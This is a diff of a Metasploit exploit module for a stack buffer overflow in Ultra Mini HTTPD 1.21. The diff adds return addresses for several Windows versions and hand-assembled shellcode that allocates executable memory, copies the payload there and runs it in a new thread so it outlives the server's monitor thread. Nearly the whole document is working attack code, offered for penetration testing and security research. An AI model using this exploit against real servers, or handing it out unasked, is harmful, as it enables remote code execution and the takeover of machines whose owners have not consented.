@@ -10,19 +10,28 @@ class Metasploit3 < Msf::Exploit::Remote
1010
1111 include Msf ::Exploit ::Remote ::HttpClient
1212
13+ ADDR_VIRTUALALLOC = 0x0041A140
14+ ADDR_CREATETHREAD = 0x0041A240
15+ ADDR_TERMINATETHREAD = 0x0041A23C
16+
1317 def initialize ( info = { } )
1418 super ( update_info ( info ,
1519 'Name' => "Ultra Mini HTTPD Stack Buffer Overflow" ,
1620 'Description' => %q{
1721 This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21,
1822 allowing remote attackers to execute arbitrary code via a long resource name in an HTTP
19- request.
23+ request. This exploit has to deal with the fact that the application's request handler
24+ thread is terminated after 60 seconds by a "monitor" thread. To do this, it allocates
25+ some RWX memory, copies the payload to it and creates another thread. When done, it
26+ terminates the current thread so that it doesn't crash and hence doesn't bring down
27+ the process with it.
2028 } ,
2129 'License' => MSF_LICENSE ,
2230 'Author' =>
2331 [
24- 'superkojiman' , #Discovery, PoC
25- 'PsychoSpy <neinwechter[at]gmail.com>' #Metasploit
32+ 'superkojiman' , # Discovery, PoC
33+ 'PsychoSpy <neinwechter[at]gmail.com>' , # Metasploit
34+ 'OJ Reeves <oj[at]buffered.io>' # Metasploit
2635 ] ,
2736 'References' =>
2837 [
@@ -33,22 +42,41 @@ def initialize(info={})
3342 ] ,
3443 'Payload' =>
3544 {
36- 'Space' => 1623 ,
37- 'StackAdjustment' => -3500 ,
3845 'BadChars' => "\x00 \x09 \x0a \x0b \x0c \x0d \x20 \x2f \x3f "
3946 } ,
40- 'DefaultOptions' =>
47+ 'DefaultOptions' =>
4148 {
42- 'ExitFunction' => "thread"
49+ 'EXITFUNC' => "thread"
4350 } ,
4451 'Platform' => 'win' ,
4552 'Targets' =>
4653 [
4754 [
48- 'v1.21 - Windows XP SP3' ,
55+ 'v1.21 - Windows Server 2000' ,
56+ {
57+ 'Offset' => 5412 ,
58+ 'Ret' => 0x78010324 # push esp / ret - msvcrt.dll
59+ }
60+ ] ,
61+ [
62+ 'v1.21 - Windows XP SP0' ,
63+ {
64+ 'Offset' => 5412 ,
65+ 'Ret' => 0x77C4C685 # push esp / ret - msvcrt.dll
66+ }
67+ ] ,
68+ [
69+ 'v1.21 - Windows XP SP2/SP3' ,
4970 {
5071 'Offset' => 5412 ,
51- 'Ret' => 0x77c354b4 # push esp / ret - msvcrt.dll
72+ 'Ret' => 0x77c354b4 # push esp / ret - msvcrt.dll
73+ }
74+ ] ,
75+ [
76+ 'v1.21 - Windows Server 2003 (Enterprise)' ,
77+ {
78+ 'Offset' => 5412 ,
79+ 'Ret' => 0x77BDD7F5 # push esp / ret - msvcrt.dll
5280 }
5381 ]
5482 ] ,
@@ -58,15 +86,88 @@ def initialize(info={})
5886 ) )
5987 end
6088
89+ def mov_eax ( addr )
90+ "\xB8 " + [ addr ] . pack ( "V*" )
91+ end
92+
93+ def call_addr_eax ( addr )
94+ mov_eax ( addr ) + "\xff \x10 "
95+ end
96+
6197 def exploit
62- buf = rand_text ( target [ 'Offset' ] )
98+ new_thread = ""
99+
100+ # we use 0 a lot, so set EBX to zero so we always have it handy
101+ new_thread << "\x31 \xdb " # xor ebx,ebx
102+
103+ # store esp in esi, and offset it to point at the rest of the payload
104+ # as this will be used as the source for copying to the area of memory
105+ # which will be executed in a separate thread. We fill in the offset
106+ # at the end as we can calculate it instead of hard-code it
107+ new_thread << "\x89 \xe6 " # mov esi,esp
108+ new_thread << "\x83 \xc6 \x00 " # add esp,<TODO>
109+ esi_count_offset = new_thread . length - 1
110+
111+ # Create a new area of memory with RWX permissions that we can copy
112+ # the payload to and execute in another thread. This is required
113+ # because the current thread is killed off after 60 seconds and it
114+ # takes our payload's execution with it.
115+ new_thread << "\x6a \x40 " # push 0x40
116+ new_thread << "\x68 \x00 \x30 \x00 \x00 " # push 0x3000
117+ new_thread << "\x68 \x00 \x10 \x00 \x00 " # push 0x1000
118+ new_thread << "\x53 " # push ebx (0)
119+ new_thread << call_addr_eax ( ADDR_VIRTUALALLOC ) # call VirtualAlloc
120+
121+ # copy the rest of the payload over to the newly allocated area of
122+ # memory which is executable.
123+ payload_size = [ payload . encoded . length ] . pack ( "V*" )
124+ new_thread << "\xb9 " + payload_size # mov ecx,payload_size
125+ new_thread << "\x89 \xc7 " # mov edi,eax
126+ new_thread << "\xf2 \xa4 " # rep movsb
127+
128+ # kick of the payload in a new thread
129+ new_thread << "\x53 " # push ebx (0)
130+ new_thread << "\x53 " # push ebx (0)
131+ new_thread << "\x53 " # push ebx (0)
132+ new_thread << "\x50 " # push eax (payload dress)
133+ new_thread << "\x53 " # push ebx (0)
134+ new_thread << "\x53 " # push ebx (0)
135+ new_thread << call_addr_eax ( ADDR_CREATETHREAD ) # call CreateThread
136+
137+ # Terminate the current thread so that we don't crash and hence bring
138+ # the entire application down with us.
139+ new_thread << "\x53 " # push ebx (0)
140+ # set ebx to 0xFFFFFFFE as this is the psuedohandle for the current thread
141+ new_thread << "\x4b " # dec ebx
142+ new_thread << "\x4b " # dec ebx
143+ new_thread << "\x53 " # push ebx (0xFFFFFFFE)
144+ new_thread << call_addr_eax ( ADDR_TERMINATETHREAD ) # call CreateThread
145+
146+ # patch the offset of esi back into the payload
147+ nops = 32
148+ decode_stub_size = 23
149+ calculated_offset = new_thread . length + nops + decode_stub_size
150+ new_thread [ esi_count_offset , 1 ] = [ calculated_offset ] . pack ( "c*" )
151+
152+ # start constructing our final payload
153+ buf = rand_text_alpha_upper ( target [ 'Offset' ] )
63154 buf << [ target . ret ] . pack ( "V*" )
155+
156+ # ESP points right to the top of our shellcode so we just add a few nops
157+ # to the start to avoid having the first few bytes nailed by the decoder.
158+ buf << make_nops ( nops )
159+
160+ # we re-encode, including the thread creation stuff and the chosen payload
161+ # as we don't currently have the ability to "prepend raw" stuff to the front
162+ # of the buffer prior to encoding.
163+ buf << encode_shellcode_stub ( new_thread )
64164 buf << payload . encoded
65165
66166 print_status ( "Sending buffer..." )
67167 send_request_cgi ( {
68- 'method' => 'GET ' ,
168+ 'method' => 'POST ' ,
69169 'uri' => "/#{ buf } "
70170 } )
71171 end
72172end
173+
0 commit comments